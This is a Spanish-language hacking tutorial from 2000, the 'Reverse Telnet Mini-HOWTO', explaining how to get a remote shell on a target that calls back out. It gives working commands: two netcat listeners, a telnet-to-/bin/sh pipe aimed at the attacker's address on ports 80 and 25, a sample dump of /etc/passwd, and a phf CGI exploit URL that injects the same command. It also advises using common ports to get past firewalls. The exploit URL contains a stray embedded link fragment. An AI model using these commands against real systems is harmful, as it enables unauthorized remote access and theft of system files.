Que es reverse telnet, explicacion y ejemplos y un ejemplo de cuando se puede utilizar esta tecnica.
Texto Completo:
Reverse Telnet Mini-HOWTO
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
kernelpanik research team.
18/04/2000
1. ¨Que es reverse telnet?
2. Explicaci¢n del proceso y ejemplos.
3. Cuando utilizar reverse telnet.
4. Herramientas y software.
1. ¨Que es reverse telnet?
Bueno, pues como su nombre indica es una tecnica basada en telnet, es decir
abrir una sesi¢n remota entre una maquina y otra, pero al contrario que en
otros ataques, en este caso, la maquina atacada (target host) va a ser la que
nos haga telnet a nosotros, de hay lo de reverse, a esta tecnica tambien se
le llama back channel, y es muy util cuando queremos hacer telnet a una
maquina y no esta habilitado el puerto del telnet.
2. Explicacion del proceso y ejemplos.
El proceso es bastante simple, se trata simplemente de invertir el proceso de
telnet, es decir en vez de iniciar la sesi¢n en nuestro lado y terminarla en un
servidor remoto, lo que vamos a hacer es abrir unos puertos en nuestra maquina
que actuaran de servidor e iniciar un cliente en la maquina remota.
Como habilitamos el pseudo-servidor en nuestra maquina?, bien, recurrimos al
nunca bien valorado netcat, posiblemente una de las mejores herramientas que se
han inventado nunca, bien vamos a levantar dos puertos, uno para enviar datos
y otro para recibir datos, ejecutamos, cada uno en una terminal:
nc -nvv -l -p 80
nc -nvv -l -p 25
Parametros:
-n Solo IPs numerica.
-vv Modo Mega-verbose.
-l Listen mode. Espera a conexiones entrantes.
-p N£mero del puerto que queremos habilitar.
Bien, ya hemos levantado nuestro peculiar servidor de telnet en nuestra maquina (192.168.1.4),
ahora lo que tenemos que hacer es iniciar la conexi¢n dese la maquina remota, como hacemos
esto, tambien bastante simple, pero se te tiene que ocurrir, escribimos el siguiente comando:
telnet 192.168.1.4 80 | /bin/sh | telnet 192.168.1.4 25
explicacion, abrimos una conexi¢n desde la maquina remota al puerto 80 de nuestra maquina,
le hacemos llegar la entrada de esta conexion a una shell (/bin/sh) mediante un pipe y redirigimos
la salida de la shell mediante otro pipe a una nueva conexi¢n a nuestra maquina, al puerto 25, por
donde vamos a recibir las respuestas.
Bien, ya tenemos todo el tinglado montado, ahora solo falta que funcione, deberiamos tener lo siguiente
en cada terminal:
Terminal 1 - Puerto 80 - Envio de comandos
------------------------------------------
[root@vaca netcat]# ./nc -nvv -l -p 80
listening on [any] 80 ...
Terminal 2 - Puerto 25 - Recepci¢n de respuestas
-----------------------------------------------
[root@vaca netcat]# ./nc -nvv -l -p 25
listening on [any] 25 ...
Si fuesemos capaces de ver lo que se ejecuta en la maquina remota veriamos esto...
Target Host
-----------
[root@pollo netcat]# telnet 192.168.1.4 80 | /bin/sh | telnet 192.168.1.4 25
Trying 192.168.1.4...
Connected to 192.168.1.4.
Escape character is '^]'.
/bin/sh: Trying: command not found
/bin/sh: Connected: command not found
/bin/sh: Escape: command not found
y digo si fuesemos capaces, porque lo normal sera que no le veamos, si no, para
que ibamos a montar este tinglado.
Paso siguiente, ejecutar comandos en la maquina remota, para hacer esto debemos
enviar a traves de nuestra terminal con el netcat en el puerto 80, los comandos
en un formato especifico, este formato es el siguiente:
echo `comando_a_ejecutar parametros`
veamos un ejemplo practico de esto, ejecutemos el tipico y deseado
cat /etc/passwd y a ver que pasa...
Terminal 1 - Puerto 80 - Envio de comandos
------------------------------------------
[root@vaca netcat]# ./nc -nvv -l -p 80
listening on [any] 80 ...
connect from (UNKNOWN) [192.168.1.2] 2144
echo `cat /etc/passwd`
Terminal 2 - Puerto 25 - Recepci¢n de respuestas
-----------------------------------------------
[root@vaca netcat]# ./nc -nvv -l -p 25
connect from (UNKNOWN) [192.168.1.2] 2145
root:x:0:0:root:/root:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:dae
mon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/
sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbi
n:/sbin/halt mail:*:8:12:mail:/var/spool/mail: news:*:9:13:news:/var/spool/news:
uucp:*:10:14:uucp:/var/spool/uucp: operator:*:11:0:operator:/root: games:*:12:1
00:games:/usr/games: gopher:*:13:30:gopher:/usr/lib/gopher-data: ftp:*:14:50:FTP
User:/home/ftp: nobody:*:99:99:Nobody:/: xfs:!!:100:101:X Font Server:/etc/X11/
fs:/bin/false gdm:!!:42:42::/home/gdm:/bin/bash
pues ya esta, igual que hemos ejecutado ese cat, podemos ejecutar cualquier comando
bajo el id con el que hayamos ejecutado el comando en la maquina remota.
Si pensamos un poco, llegamos a la conclusi¢n, para que narices me sirve esto si
para ejecutar el telnet en la maquina remota tengo que tener acceso a ella, si, pero
hay accesos y accesos.
3. Cuando utilizar reverse telnet.
Bien, parece que en el punto anterior, no quedaba clara la utilidad de esta tecnica, bien
en este punto vamos a ver como si la tiene, la primera y mas clara utilidad es si tenemos
una maquina en la que por ejemplo, tenemos acceso a un cgi-bin/phf/php mal configurado
y que nos permita ejecutar algun comando desde el navegador, bien, ejecutamos el comando citado anteriormente
y plas, tenemos una shell sin usuario y sin password, el ejemplo usando el bug del phf, que
aun existe, seria el siguiente:
http://www.targethost.com/cgi-bin/phf?Qalias=x{jumi [*3] [http://www.govannom.org/seguridad/seg_general/reverse_telnet.txt]}a/bin/telnet/%20192.168.1.4%2080%20|%20/bin/sh%20|%20/bin/telnet%20192.168.1.4%2025
y ya tendriamos nuestra shell up&running, igualmente podemos utilizar exploits remotos
que solo nos permiten ejecutar codigo en el servidor para poner en practica esta
tecnica, en fin, echadle imaginaci¢n.
Porque utilizar precisamente esos puertos, osea 25 y 80, simple, si la maquina esta
firewalleada, es mas facil que tenga abiertos hacia afuera puertos de servicio comunes,
que puertos mas altos o que se usen menos.
4. Herramientas y software.
La unico que necesitas para llevar a cabo esta tecnica es el netcat y
un navegador.
El netcat se puede descargar en versiones para UNIX y NT (beta) de:
http://www3.l0pht.com/~weld/netcat/
kernelpanik research team.
[EOF]
|